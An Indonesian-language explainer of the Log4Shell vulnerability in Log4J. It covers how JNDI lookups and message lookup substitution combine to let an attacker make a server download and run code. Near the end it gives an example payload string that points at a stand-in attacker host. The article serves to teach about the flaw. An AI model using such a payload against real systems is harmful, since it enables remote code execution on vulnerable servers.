Log4Shell mempengaruhi Log4J, sebuah pustaka pencatatan sumber terbuka yang dikelola oleh Apache Software Foundation. Log4J adalah sebuah logger, sebuah komponen perangkat lunak yang mencatat informasi dan peristiwa dalam sebuah program, seperti pesan kesalahan dan input pengguna.
Log4J bukanlah sebuah program yang berdiri sendiri, melainkan sebuah paket kode yang dapat disambungkan oleh pengembang ke dalam aplikasi Java mereka alih-alih membangun logger dari awal. Perusahaan-perusahaan besar seperti Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco dan banyak lagi menggunakan Log4J dalam perangkat lunak dan layanannya.
Log4Shell dihasilkan dari cara versi Log4J yang rentan menangani dua fitur terkait: Pencarian Java Naming and Directory Interface (JNDI) dan penggantian pencarian pesan. Setiap fitur secara sendiri-sendiri tidak akan berbahaya, tetapi interaksi di antara mereka memberi peretas senjata yang ampuh.
JNDIÂ adalah antarmuka pemrograman aplikasi (API) yang digunakan aplikasi Java untuk mengakses sumber daya yang dihosting di server eksternal. Pencarian JNDI adalah perintah yang memerintahkan aplikasi untuk pergi ke server dan mengunduh objek tertentu, seperti sepotong data atau skrip. Versi lama Log4J 2 secara otomatis menjalankan kode apa pun yang diunduh dengan cara ini.
Substitusi pencarian pesan memungkinkan pengguna dan aplikasi mengirim variabel ke Log4J dalam pesan log dengan menggunakan sintaks tertentu: ${prefix:name}. Ketika Log4J menemukan sintaks ini, log akan menyelesaikan variabel dan mencatat nilainya dalam log. Misalnya, jika Log4J menerima pesan yang berbunyi
${java:version}
akan mengetahui versi Java yang sedang berjalan pada perangkat. Dalam log, itu akan mencatat: "Java versi X.XX."
Dengan kata lain, Log4J tidak memperlakukan substitusi pencarian pesan seperti teks biasa. Log ini memperlakukan mereka seperti perintah dan mengambil tindakan berdasarkan apa yang mereka katakan. Peretas dapat memanfaatkan fakta ini untuk mengirimkan perintah pencarian JNDI yang berbahaya ke aplikasi yang menjalankan versi Log4J yang rentan. Sebagai contoh, seorang peretas dapat mengirim Log4J sebuah string seperti ini:
${jndi:ldap://myevilwebsite.biz/maliciouscode}
Ketika Log4J menerima pesan ini, log ini akan menyelesaikan variabel dengan menjangkau server di myevilwebsite.biz dan mengunduh objek yang terletak di /maliciouscode. Proses ini akan membuat Log4J mengeksekusi kode Java apa pun yang disimpan peretas di lokasi tersebut, biasanya berupa malware.